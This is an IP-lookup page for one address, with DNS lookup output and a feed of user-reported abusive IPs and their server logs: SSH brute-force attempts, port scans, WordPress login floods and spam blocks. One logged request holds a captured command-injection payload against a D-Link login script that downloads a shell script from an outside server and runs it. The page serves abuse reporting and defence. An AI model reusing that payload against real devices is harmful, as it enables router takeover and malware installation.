Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 56.139.77.21
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 44899
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;56.139.77.21.			IN	A

;; AUTHORITY SECTION:
.			333	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019110100 1800 900 604800 86400

;; Query time: 138 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Nov 01 22:47:45 CST 2019
;; MSG SIZE  rcvd: 116
Host info
Host 21.77.139.56.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 21.77.139.56.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
201.76.70.46 attack
Jul 29 06:40:09 pornomens sshd\[22794\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.76.70.46  user=root
Jul 29 06:40:11 pornomens sshd\[22794\]: Failed password for root from 201.76.70.46 port 39450 ssh2
Jul 29 06:45:58 pornomens sshd\[22798\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.76.70.46  user=root
...
2019-07-29 14:25:49
190.109.167.9 attack
proto=tcp  .  spt=53087  .  dpt=25  .     (listed on Blocklist de  Jul 28)     (1201)
2019-07-29 14:41:21
91.143.61.18 attackspambots
Unauthorised access (Jul 29) SRC=91.143.61.18 LEN=40 TTL=242 ID=12356 TCP DPT=139 WINDOW=1024 SYN
2019-07-29 14:40:00
94.132.37.12 attackspambots
SSH Brute-Force attacks
2019-07-29 14:01:57
93.92.138.3 attack
2019-07-29T01:04:36.897940abusebot-7.cloudsearch.cf sshd\[18707\]: Invalid user gory from 93.92.138.3 port 33032
2019-07-29 14:26:13
139.59.56.121 attack
Invalid user phion from 139.59.56.121 port 51206
2019-07-29 14:49:09
123.21.220.105 attackspambots
Jul 28 23:15:33 rpi sshd[7435]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.21.220.105 
Jul 28 23:15:35 rpi sshd[7435]: Failed password for invalid user admin from 123.21.220.105 port 38220 ssh2
2019-07-29 14:32:44
151.73.115.66 attackbots
151.73.115.66 - - [28/Jul/2019:23:16:10 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://188.165.179.15/rep/dlink.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 166 "-" "ELEMENT/2.0"
...
2019-07-29 14:23:59
106.51.48.105 attack
SSH login attempts brute force.
2019-07-29 13:55:00
218.92.0.195 attackspam
Jul 29 06:27:32 MainVPS sshd[3961]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.195  user=root
Jul 29 06:27:34 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:27:37 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:27:32 MainVPS sshd[3961]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.195  user=root
Jul 29 06:27:34 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:27:37 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:27:32 MainVPS sshd[3961]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.195  user=root
Jul 29 06:27:34 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:27:37 MainVPS sshd[3961]: Failed password for root from 218.92.0.195 port 47709 ssh2
Jul 29 06:
2019-07-29 13:55:29
95.173.160.84 attackbots
miraniessen.de 95.173.160.84 \[29/Jul/2019:01:16:37 +0200\] "POST /wp-login.php HTTP/1.1" 200 5972 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
miraniessen.de 95.173.160.84 \[29/Jul/2019:01:16:38 +0200\] "POST /wp-login.php HTTP/1.1" 200 5976 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
2019-07-29 14:03:03
159.89.125.114 attack
ThinkPHP Remote Code Execution Vulnerability
2019-07-29 14:35:37
134.73.161.248 attack
Jul 28 23:13:52 xeon sshd[11370]: Failed password for root from 134.73.161.248 port 40044 ssh2
2019-07-29 14:27:04
77.120.93.135 attackspam
2019-07-28T23:17:23.737283 X postfix/smtpd[48525]: NOQUEUE: reject: RCPT from unknown[77.120.93.135]: 554 5.7.1 Service unavailable; Client host [77.120.93.135] blocked using bl.spamcop.net; Blocked - see https://www.spamcop.net/bl.shtml?77.120.93.135; from= to= proto=ESMTP helo=
2019-07-29 13:54:01
5.14.79.182 attackspam
Automatic report - Port Scan Attack
2019-07-29 14:37:12

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